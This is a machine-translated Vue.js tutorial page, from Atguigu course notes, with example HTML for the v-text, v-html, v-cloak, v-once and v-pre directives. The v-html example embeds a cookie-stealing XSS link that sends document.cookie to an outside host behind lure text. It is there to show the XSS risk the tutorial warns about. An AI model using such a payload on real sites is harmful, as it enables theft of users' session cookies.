当前位置：网站首页>Atguigu---15- built in instruction

Atguigu---15- built in instruction

2022-06-24 08:02:00 【Zhangshao】

List of articles

v-text
v-html
v-cloak
v-once
v-pre

v-text

v-text Instructions ：
1. effect ： Render the text content to the node where it resides .
2. Difference from interpolation Syntax ：v-text Will replace the content in the node ,{ {xx}} Will not be .

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-text Instructions </title>
		<!--  introduce Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!--  The instructions we learned ： v-bind :  One way binding parsing expression ,  It can be abbreviated as  :xxx v-model :  Two way data binding  v-for :  Traversal array / object / character string  v-on :  Binding event listening ,  It can be abbreviated as @ v-if :  Conditions apply colours to a drawing （ Whether the dynamic control node exists ） v-else :  Conditions apply colours to a drawing （ Whether the dynamic control node exists ） v-show :  Conditions apply colours to a drawing  ( Whether the dynamic control node displays ) v-text Instructions ： 1. effect ： Render the text content to the node where it resides . 2. Difference from interpolation Syntax ：v-text Will replace the content in the node ,{
    {xx}} Will not be . -->
		<!--  Prepare a container -->
		<div id="root">
			<div> Hello ,{
   {name}}</div>
			<div v-text="name"></div>
			<div v-text="str"></div>
		</div>
	</body>

	<script type="text/javascript"> Vue.config.productionTip = false // prevent  vue  Generate production prompts at startup . new Vue({
       el:'#root', data:{
       name:' Silicon Valley ', str:'<h3> How do you do ！</h3>' } }) </script>
</html>

v-html

v-html Instructions ：
1. effect ： Render to the specified node html The content of the structure .
2. Difference from interpolation Syntax ：
(1).v-html It will replace all the contents in the node ,{ {xx}} Will not be .
(2).v-html Can identify html structure .
3. Pay serious attention to ：v-html There are security issues ！！！！
(1). Dynamically render arbitrary on the site HTML It's very dangerous , Easily lead to XSS attack .
(2). Be sure to use... On trusted content v-html, Never use it on content submitted by users ！

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-html Instructions </title>
		<!--  introduce Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- v-html Instructions ： 1. effect ： Render to the specified node html The content of the structure . 2. Difference from interpolation Syntax ： (1).v-html It will replace all the contents in the node ,{
    {xx}} Will not be . (2).v-html Can identify html structure . 3. Pay serious attention to ：v-html There are security issues ！！！！ (1). Dynamically render arbitrary on the site HTML It's very dangerous , Easily lead to XSS attack . (2). Be sure to use... On trusted content v-html, Never use it on content submitted by users ！ -->
		<!--  Prepare a container -->
		<div id="root">
			<div> Hello ,{
   {name}}</div>
			<div v-html="str"></div>
			<div v-html="str2"></div>
		</div>
	</body>

	<script type="text/javascript"> Vue.config.productionTip = false // prevent  vue  Generate production prompts at startup . new Vue({
       el:'#root', data:{
       name:' Silicon Valley ', str:'<h3> How do you do ！</h3>', str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie> Brother, I found the resources you want , come quick ！</a>', } }) </script>
</html>

v-cloak

v-cloak Instructions （ No value ）：
1. Essence is a special attribute ,Vue After the instance is created and takes over the container , I'll delete v-cloak attribute .
2. Use css coordination v-cloak It can solve the problem that when the network speed is slow, the page shows { {xxx}} The problem of .

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-cloak Instructions </title>
		<style> [v-cloak]{
       display:none; } </style>
		<!--  introduce Vue -->
	</head>
	<body>
		<!-- v-cloak Instructions （ No value ）： 1. Essence is a special attribute ,Vue After the instance is created and takes over the container , I'll delete v-cloak attribute . 2. Use css coordination v-cloak It can solve the problem that when the network speed is slow, the page shows {
    {xxx}} The problem of . -->
		<!--  Prepare a container -->
		<div id="root">
			<h2 v-cloak>{
   {name}}</h2>
		</div>
		<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
	</body>
	
	<script type="text/javascript"> console.log(1) Vue.config.productionTip = false // prevent  vue  Generate production prompts at startup . new Vue({
       el:'#root', data:{
       name:' Silicon Valley ' } }) </script>
</html>

v-once

v-once Instructions ：
1.v-once The node is after the first dynamic rendering , As static content .
2. Future data changes will not cause v-once Update of the structure , Can be used to optimize performance .

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-once Instructions </title>
		<!--  introduce Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- v-once Instructions ： 1.v-once The node is after the first dynamic rendering , As static content . 2. Future data changes will not cause v-once Update of the structure , Can be used to optimize performance . -->
		<!--  Prepare a container -->
		<div id="root">
			<h2 v-once> The initialization of the n The value is :{
   {n}}</h2>
			<h2> Current n The value is :{
   {n}}</h2>
			<button @click="n++"> Am I n+1</button>
		</div>
	</body>

	<script type="text/javascript"> Vue.config.productionTip = false // prevent  vue  Generate production prompts at startup . new Vue({
       el:'#root', data:{
       n:1 } }) </script>
</html>

v-pre

v-pre Instructions ：
1. Skip the compilation process of its node .
2. You can use it to skip ： No instruction syntax is used 、 Nodes that do not use interpolation Syntax , Will speed up compilation .

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-pre Instructions </title>
		<!--  introduce Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- v-pre Instructions ： 1. Skip the compilation process of its node . 2. You can use it to skip ： No instruction syntax is used 、 Nodes that do not use interpolation Syntax , Will speed up compilation . -->
		<!--  Prepare a container -->
		<div id="root">
			<h2 v-pre>Vue It's very simple </h2>
			<h2 > Current n The value is :{
   {n}}</h2>
			<button @click="n++"> Am I n+1</button>
		</div>
	</body>

	<script type="text/javascript"> Vue.config.productionTip = false // prevent  vue  Generate production prompts at startup . new Vue({
       el:'#root', data:{
       n:1 } }) </script>
</html>